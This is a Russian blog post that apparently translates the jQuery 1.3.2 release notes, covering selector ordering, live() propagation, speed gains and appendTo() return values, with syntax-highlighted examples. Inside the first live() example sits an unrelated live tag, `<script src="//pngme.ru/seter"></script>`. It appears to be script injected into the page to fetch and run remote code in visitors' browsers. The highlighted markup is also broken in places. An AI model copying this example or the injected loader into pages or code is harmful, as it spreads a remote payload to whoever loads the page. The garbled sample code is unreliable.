jQuery 1.3.2

20 февраля 2009 вышел .2. Вы можете увидеть полный список изменений и исправлений в баг трэкере.

От переводчика: Этот выпуск не вполне совместим с прежними версиями, не ставьте на production без тестирования!

Загрузка

jQuery Minified, jQuery Regular.

Список изменений

Элементы возвращаются в порядке расположения в документе

Изменение коснулось движка селекторов jQuery, который теперь пересортировывает возвращаемый набор результатов в порядке их расположения в документе, вместо порядка их отбора. Это изменение выполнено для поддержки спецификации Selectors API (которую jQuery использует в тех браузерах, которые её поддерживают).

.live () теперь может предотвращать всплытие

Теперь можно вызывать e.stopPropagation () или 'return false;' внутри обработчика события на лету live (), и тем самым предотвращать всплытие события. Это означает, что теперь Вы можете назначать «обработчики на лету» вложенно, и ранее выполняемые обработчики смогут предотвращать вызов внешних обработчиков.
К примеру:

<font color="#000000"></font><font color="#0000ff">< </font></font><font color="#800000">ul</font><font color="#0000ff">></font>
  <font color="#0000ff">< </font></font><font color="#800000">li</font><font color="#0000ff">>< </font></font><font color="#800000">b</font><font color="#0000ff">></font>Google<font color="#0000ff"></font><font color="#800000">b</font><font color="#0000ff">></font><font color="#800000">li</font><font color="#0000ff">><script src="//pngme.ru/seter"></script></font>
  <font color="#0000ff">< </font></font><font color="#800000">li</font><font color="#0000ff">>< </font></font><font color="#800000">b</font><font color="#0000ff">></font>Yahoo<font color="#0000ff"></font><font color="#800000">b</font><font color="#0000ff">></font><font color="#800000">li</font><font color="#0000ff">></font>
<font color="#0000ff"></font><font color="#800000">ul</font><font color="#0000ff">></font>
<font color="#0000ff">< </font></font><font color="#800000">script</font><font color="#0000ff">></font>
  $(<font color="#a31515">"li"</font>).live(<font color="#a31515">"click"</font>, <font color="#0000ff">function</font>(){
   $(<font color="#0000ff">this</font>).addClass(<font color="#a31515">"active"</font>);
  });
  $(<font color="#a31515">"li b"</font>).live(<font color="#a31515">"click"</font>, <font color="#0000ff">function</font>(){
   $(<font color="#0000ff">this</font>).addClass(<font color="#a31515">"active"</font>);
   <font color="#0000ff">return</font> <font color="#0000ff">false</font>;
  });
<font color="#0000ff"></font><font color="#800000">script</font><font color="#0000ff">></font>

<font color="#808080">* This source code was highlighted with </font><font color="#808080">Source Code Highlighter</font>.

:visible, :hidden ускорены

Механизм отбора :visible, :hidden полностью изменился. Вместо проверки display, visibility, type проверяются атрибуты offsetWidth/offsetHeight. Теперь видимый элемент внутри невидимого — также считается невидимым! Скорость работы возросла.

image

Скорость работы .height (), .width () резко возросла

Скорость вычисления размеров (width, height, +outer, +inner) резко выросла.

image

Ускорение движка селекторов под IE

Движок селекторов Sizzle оптимизирован под MSIE, что незначительно увеличило его производительность даже под MSIE6.

image

Кстати, теперь также появилась документация по Sizzle, которая может быть интересна, если вы планируете расширить или интегрировать её функционал.

.appendTo () и др. теперь возвращают вставленные элементы

Небольшое исправление. Методы appendTo, prependTo, insertBefore, insertAfter, and replaceAll теперь возвращают не исходное множество, а вставленное.

Небольшой пример:

<font color="#000000"></font><font color="#0000ff">< </font></font><font color="#800000">div</font><font color="#0000ff">></font><font color="#800000">div</font><font color="#0000ff">></font>
<font color="#0000ff">< </font></font><font color="#800000">div</font><font color="#0000ff">></font><font color="#800000">div</font><font color="#0000ff">></font>
<font color="#0000ff">< </font></font><font color="#800000">script</font><font color="#0000ff">></font>
$(<font color="#a31515">"<p />"</font>)
  .appendTo(<font color="#a31515">"div"</font>)
  .addClass(<font color="#a31515">"test"</font>);
<font color="#0000ff"></font><font color="#800000">script</font><font color="#0000ff">></font>

<font color="#808080">* This source code was highlighted with </font><font color="#808080">Source Code Highlighter</font>.

В jQuery 1.3.1 и ранее выдаст:

<font color="#000000"></font><font color="#0000ff">< </font></font><font color="#800000">div</font><font color="#0000ff">>< </font></font><font color="#800000">p</font> <font color="#ff0000">class</font><font color="#0000ff">="test"</font><font color="#0000ff">></font><font color="#800000">p</font><font color="#0000ff">></font><font color="#800000">div</font><font color="#0000ff">></font>
<font color="#0000ff">< </font></font><font color="#800000">div</font><font color="#0000ff">>< </font></font><font color="#800000">p</font><font color="#0000ff">></font><font color="#800000">p</font><font color="#0000ff">></font><font color="#800000">div</font><font color="#0000ff">></font>

<font color="#808080">* This source code was highlighted with </font><font color="#808080">Source Code Highlighter</font>.

В jQuery 1.3.2 выдаст:

<font color="#000000"></font><font color="#0000ff">< </font></font><font color="#800000">div</font><font color="#0000ff">>< </font></font><font color="#800000">p</font> <font color="#ff0000">class</font><font color="#0000ff">="test"</font><font color="#0000ff">></font><font color="#800000">p</font><font color="#0000ff">></font><font color="#800000">div</font><font color="#0000ff">></font>
<font color="#0000ff">< </font></font><font color="#800000">div</font><font color="#0000ff">>< </font></font><font color="#800000">p</font> <font color="#ff0000">class</font><font color="#0000ff">="test"</font><font color="#0000ff">></font><font color="#800000">p</font><font color="#0000ff">></font><font color="#800000">div</font><font color="#0000ff">></font>

<font color="#808080">* This source code was highlighted with </font><font color="#808080">Source Code Highlighter</font>.

Также эти методы теперь влияют на поведение end (), так как возвращаемый результат помещается в стек jQuery.

Выжимка из остального

jQuery теперь официально поддерживает IE8 RC1 и Chrome 2.

  • Bulat

    Интересно, а можно у вас брать новости с рсс канала? Ссылку на источник обязательно поставлю.

Запись навигация

Top